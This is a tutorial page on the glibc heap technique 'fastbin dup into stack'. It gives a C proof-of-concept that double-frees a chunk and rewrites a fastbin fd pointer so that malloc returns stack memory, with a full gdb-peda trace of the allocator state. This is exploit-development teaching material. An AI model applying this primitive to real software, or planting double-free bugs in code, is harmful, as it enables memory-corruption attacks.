Page tree
Skip to end of metadata
Go to start of metadata

Excuse the ads! We need some help to keep our site up.



List

Fastbin dup into stack

  • "Fastbin dup into stack" can use "Fastbin dup" to return stack memory from malloc ().
  • The basic principle is the same as "Fastbin dup".
    • Free the first memory, free the second memory and free the first memory again.
    • The same memory is placed as the memory already registered in fastbin.
    • The chunks placed on top of the fastbin will point to the second chunk and the second chunks will point to the top chunk.
    • In other words, the list of fastbin is loop. (The list of Fastbin [6] is "0x602000 <-> 0x602080.)
  • This list is used to exploit the return of a stack pointer from malloc ().
    • The attacker first requests memory allocation to reallocate chunks placed on the list.
    • The attacker then stores the stack address in fd of the allocated memory.
      • This causes the list to be "0x602000-> Stack".
  • Enter fake chunk information in the stack.
    • If you call malloc() with the size of a fake chunk, the allocator returns a fake chunk registered with fastbin.
  • The allocator checks the size of the chunk when it reallocates memory placed in fastbin, and updates the list by checking fd.
    • It does not check whether the address is heap or stack.
Fastbin dup into stack flow

Example

  • The following code calls malloc() three times with 112 as its argument.

    • The application requests the free of buf1, buf2, and requests the free of buf1 again.

      • This places a pointer to the same memory in the fastbin list.
      • And this list is a loop.
    • This is equivalent to the code in "fast_dup.c".

  • You call malloc () twice with 112 as an argument to get memory.

    • The pointer stored in buf4 is the same as the pointer stored in buf1.
    • buf4 is the same memory as buf1 and buf1 is placed in fastbin.
    • You can change the fastbin information using buf4.
  • To place fake chunks in Fastbin, enter fake chunk information in stack_var [0], [1].
    • And then save the stack_var address minus 8 into "* buf4".
      • Fastbin's structure is changed from "buf1 → buf2 → buf1" to "buf1 → & stack_var -8".
  • Call malloc () twice with 112 as the argument.
    • The first request returns a pointer to the heap, and the second request returns a pointer to the stack.
fast_dup_into.c
#include <stdio.h>
#include <stdlib.h>
 
int main()
{
    unsigned long long stack_var[2];
    printf("Stack_var : %p\n",&stack_var);

    char *buf1 = malloc(112);
    char *buf2 = malloc(112);
    char *buf3 = malloc(112);
 
    free(buf1);
    free(buf2);
    free(buf1);
 
    unsigned long long *buf4 = malloc(112);
    char *buf5 = malloc(112);
 
    stack_var[0] = 0x80;
    stack_var[1] = 0;
    *buf4 = (unsigned long long)(((char*)&stack_var) - 8);
    
    char *buf6 = malloc(112);
    char *buf7 = malloc(112);

    read(STDIN_FILENO,buf7,100);
}
  • At 0x400728 we see a double-free heap being placed in the freebin heap.

    • Check a change of fastbin in 0x400732 and 0x400740.
    • Check out the Fake chunk at 0x400744.

    • Check a change of fastbin after saving Fake chunk in buf4 at 0x400763.
    • 0x400770,0x40077e에서는 malloc()에서 반환된 pointer를 확인합니다.
    • 0x400793에서는 반환된 메모리에 보관된 데이터를 확인합니다.
Breakpoints
lazenca0x0@ubuntu:~/Book/3.fastbin_dup_into_stack$ gcc -o fast_dup_into_stack fast_dup_into_stack.c 
lazenca0x0@ubuntu:~/Book/3.fastbin_dup_into_stack$ gdb -q ./fast_dup_into_stack
Reading symbols from ./fast_dup_into_stack...(no debugging symbols found)...done.
gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x00000000004006a6 <+0>:	push   rbp
   0x00000000004006a7 <+1>:	mov    rbp,rsp
   0x00000000004006aa <+4>:	sub    rsp,0x60
   0x00000000004006ae <+8>:	mov    rax,QWORD PTR fs:0x28
   0x00000000004006b7 <+17>:	mov    QWORD PTR [rbp-0x8],rax
   0x00000000004006bb <+21>:	xor    eax,eax
   0x00000000004006bd <+23>:	mov    rax,QWORD PTR [rip+0x20099c]        # 0x601060 <stderr@@GLIBC_2.2.5>
   0x00000000004006c4 <+30>:	lea    rdx,[rbp-0x20]
   0x00000000004006c8 <+34>:	mov    esi,0x400844
   0x00000000004006cd <+39>:	mov    rdi,rax
   0x00000000004006d0 <+42>:	mov    eax,0x0
   0x00000000004006d5 <+47>:	call   0x400580 <fprintf@plt>
   0x00000000004006da <+52>:	mov    edi,0x70
   0x00000000004006df <+57>:	call   0x400590 <malloc@plt>
   0x00000000004006e4 <+62>:	mov    QWORD PTR [rbp-0x58],rax
   0x00000000004006e8 <+66>:	mov    edi,0x70
   0x00000000004006ed <+71>:	call   0x400590 <malloc@plt>
   0x00000000004006f2 <+76>:	mov    QWORD PTR [rbp-0x50],rax
   0x00000000004006f6 <+80>:	mov    edi,0x70
   0x00000000004006fb <+85>:	call   0x400590 <malloc@plt>
   0x0000000000400700 <+90>:	mov    QWORD PTR [rbp-0x48],rax
   0x0000000000400704 <+94>:	mov    rax,QWORD PTR [rbp-0x58]
   0x0000000000400708 <+98>:	mov    rdi,rax
   0x000000000040070b <+101>:	call   0x400540 <free@plt>
   0x0000000000400710 <+106>:	mov    rax,QWORD PTR [rbp-0x50]
   0x0000000000400714 <+110>:	mov    rdi,rax
   0x0000000000400717 <+113>:	call   0x400540 <free@plt>
   0x000000000040071c <+118>:	mov    rax,QWORD PTR [rbp-0x58]
   0x0000000000400720 <+122>:	mov    rdi,rax
   0x0000000000400723 <+125>:	call   0x400540 <free@plt>
   0x0000000000400728 <+130>:	mov    edi,0x70
   0x000000000040072d <+135>:	call   0x400590 <malloc@plt>
   0x0000000000400732 <+140>:	mov    QWORD PTR [rbp-0x40],rax
   0x0000000000400736 <+144>:	mov    edi,0x70
   0x000000000040073b <+149>:	call   0x400590 <malloc@plt>
   0x0000000000400740 <+154>:	mov    QWORD PTR [rbp-0x38],rax
   0x0000000000400744 <+158>:	mov    QWORD PTR [rbp-0x20],0x80
   0x000000000040074c <+166>:	mov    QWORD PTR [rbp-0x18],0x0
   0x0000000000400754 <+174>:	lea    rax,[rbp-0x20]
   0x0000000000400758 <+178>:	sub    rax,0x8
   0x000000000040075c <+182>:	mov    rdx,rax
   0x000000000040075f <+185>:	mov    rax,QWORD PTR [rbp-0x40]
   0x0000000000400763 <+189>:	mov    QWORD PTR [rax],rdx
   0x0000000000400766 <+192>:	mov    edi,0x70
   0x000000000040076b <+197>:	call   0x400590 <malloc@plt>
   0x0000000000400770 <+202>:	mov    QWORD PTR [rbp-0x30],rax
   0x0000000000400774 <+206>:	mov    edi,0x70
   0x0000000000400779 <+211>:	call   0x400590 <malloc@plt>
   0x000000000040077e <+216>:	mov    QWORD PTR [rbp-0x28],rax
   0x0000000000400782 <+220>:	mov    rax,QWORD PTR [rbp-0x28]
   0x0000000000400786 <+224>:	mov    edx,0x64
   0x000000000040078b <+229>:	mov    rsi,rax
   0x000000000040078e <+232>:	mov    edi,0x0
   0x0000000000400793 <+237>:	call   0x400560 <read@plt>
   0x0000000000400798 <+242>:	mov    eax,0x0
   0x000000000040079d <+247>:	mov    rcx,QWORD PTR [rbp-0x8]
   0x00000000004007a1 <+251>:	xor    rcx,QWORD PTR fs:0x28
   0x00000000004007aa <+260>:	je     0x4007b1 <main+267>
   0x00000000004007ac <+262>:	call   0x400550 <__stack_chk_fail@plt>
   0x00000000004007b1 <+267>:	leave  
   0x00000000004007b2 <+268>:	ret    
End of assembler dump.
gdb-peda$ b *0x0000000000400728
Breakpoint 1 at 0x400728
gdb-peda$ b *0x0000000000400732
Breakpoint 2 at 0x400732
gdb-peda$ b *0x0000000000400740
Breakpoint 3 at 0x400740
gdb-peda$ b *0x0000000000400763
Breakpoint 4 at 0x400763
gdb-peda$ b *0x0000000000400770
Breakpoint 5 at 0x400770
gdb-peda$ b *0x000000000040077e
Breakpoint 6 at 0x40077e
gdb-peda$ b *0x0000000000400793
Breakpoint 7 at 0x400793
gdb-peda$
  • Due to a double free bug, fastbin's list becomes "0x602000-> 0x602080-> 0x602000-> ...".

List is loop
gdb-peda$ r
Starting program: /home/lazenca0x0/Book/3.fastbin_dup_into_stack/fast_dup_into_stack 
Stack_var : 0x7fffffffe3f0

Breakpoint 1, 0x0000000000400728 in main ()
gdb-peda$ p main_arena.fastbinsY[6]
$1 = (mfastbinptr) 0x602000
gdb-peda$ x/4gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000081
0x602010:	0x0000000000602080	0x0000000000000000
gdb-peda$ x/4gx 0x0000000000602080
0x602080:	0x0000000000000000	0x0000000000000081
0x602090:	0x0000000000602000	0x0000000000000000
gdb-peda$ x/4gx 0x0000000000602000
0x602000:	0x0000000000000000	0x0000000000000081
0x602010:	0x0000000000602080	0x0000000000000000
gdb-peda$ c
Continuing.
  • Requesting malloc () to allocate a memory of size 112 bytes will return the chunk (0x602080) placed on top of fastbin [6].

    • The next chunk (0x602000) is placed in fastbin[6].

    • Request malloc() to allocate 112 bytes of memory, the allocator places buf1 on top of fastbin[6].
Reallocate buf1 and buf2
gdb-peda$ c
Continuing.

Breakpoint 2, 0x0000000000400732 in main ()
gdb-peda$ i r rax
rax            0x602010	0x602010
gdb-peda$ p main_arena.fastbinsY[6]
$2 = (mfastbinptr) 0x602080
gdb-peda$ c
Continuing.

Breakpoint 3, 0x0000000000400740 in main ()
gdb-peda$ i r rax
rax            0x602090	0x602090
gdb-peda$ p main_arena.fastbinsY[6]
$3 = (mfastbinptr) 0x602000
gdb-peda$ ni
  • Enter 0x80 (chunk size) in stack_var [0] and 0x0 (fd) in stack_var [1].
    • Stack_var is now a fake chunk.
Write a fake chunk.
gdb-peda$ c
Continuing.

0x0000000000400744 in main ()
gdb-peda$ x/2i $rip
=> 0x400744 <main+158>:	mov    QWORD PTR [rbp-0x20],0x80
   0x40074c <main+166>:	mov    QWORD PTR [rbp-0x18],0x0
gdb-peda$ i r rbp
rbp            0x7fffffffe410	0x7fffffffe410
gdb-peda$ p/x 0x7fffffffe410 - 0x20
$4 = 0x7fffffffe3f0
gdb-peda$ p/x 0x7fffffffe410 - 0x18
$5 = 0x7fffffffe3f8
gdb-peda$ ni

0x000000000040074c in main ()
gdb-peda$ ni

0x0000000000400754 in main ()
gdb-peda$ x/2gx 0x7fffffffe3f0
0x7fffffffe3f0:	0x0000000000000080	0x0000000000000000
gdb-peda$ c
Continuing.
  • The address of the fake chunk is stored in buf1→fd.
    • The address of the fake chunk stored in buf1→fd is not “& stack_var”(0x7fffffffe3f0).
    • Because saved the fake chunk size in stack_var [0], "& stack_var-8" (0x7fffffffe3e8) is stored in buf1→fd.
    • If "& stack_var" (0x7fffffffe3f0) is saved, an error occurs because fake_chunk → size is 0x0.
  • As a result, fastbin's list becomes "0x602000 → 0x00007fffffffe3e8".

Place fake chunks in the fast bin.
gdb-peda$ c
Continuing.

Breakpoint 4, 0x0000000000400763 in main ()
gdb-peda$ x/i $rip
=> 0x400763 <main+189>:	mov    QWORD PTR [rax],rdx
gdb-peda$ i r rax
rax            0x602010	0x602010
gdb-peda$ i r rdx
rdx            0x7fffffffe3e8	0x7fffffffe3e8
gdb-peda$ ni

0x0000000000400766 in main ()
gdb-peda$ p main_arena.fastbinsY[6]
$6 = (mfastbinptr) 0x602000
gdb-peda$ x/4gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000081
0x602010:	0x00007fffffffe3e8	0x0000000000000000
gdb-peda$ x/4gx 0x00007fffffffe3e8
0x7fffffffe3e8:	0x0000000000000000	0x0000000000000080
0x7fffffffe3f8:	0x0000000000000000	0x00007fffffffe4f0
gdb-peda$ 
  • When request malloc() for memory allocation of size 112 bytes, the allocator returns a chunk(0x602010) placed on top of fastbin [6].
    • The following request returns a fake chunk(0x7fffffffe3f8) that was placed in fastbin.
Return fake chunk
gdb-peda$ c
Continuing.

Breakpoint 5, 0x0000000000400770 in main ()
gdb-peda$ i r rax
rax            0x602010	0x602010
gdb-peda$ c
Continuing.

Breakpoint 6, 0x000000000040077e in main ()
gdb-peda$ i r rax
rax            0x7fffffffe3f8	0x7fffffffe3f8
gdb-peda$ x/4gx 0x7fffffffe3f8
0x7fffffffe3f8:	0x0000000000000000	0x00007fffffffe4f0
0x7fffffffe408:	0xf57229810c117d00	0x00000000004007c0
gdb-peda$ 
  • Input data by calling read () with the address of the fake chunk.
    • The data entered is stored in fake chunks.
    • In other words, data can be stored in the stack pointer returned from malloc ().
Write a value to a fake chunk.
gdb-peda$ c
Continuing.

Breakpoint 7, 0x0000000000400793 in main ()
gdb-peda$ x/i $rip
=> 0x400793 <main+237>:	call   0x400560 <read@plt>
gdb-peda$ i r rsi
rsi            0x7fffffffe3f8	0x7fffffffe3f8
gdb-peda$ ni
AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD

0x0000000000400798 in main ()
gdb-peda$ x/4gx 0x7fffffffe3f8
0x7fffffffe3f8:	0x4141414141414141	0x4242424242424242
0x7fffffffe408:	0x4343434343434343	0x4444444444444444
gdb-peda$ 

Related information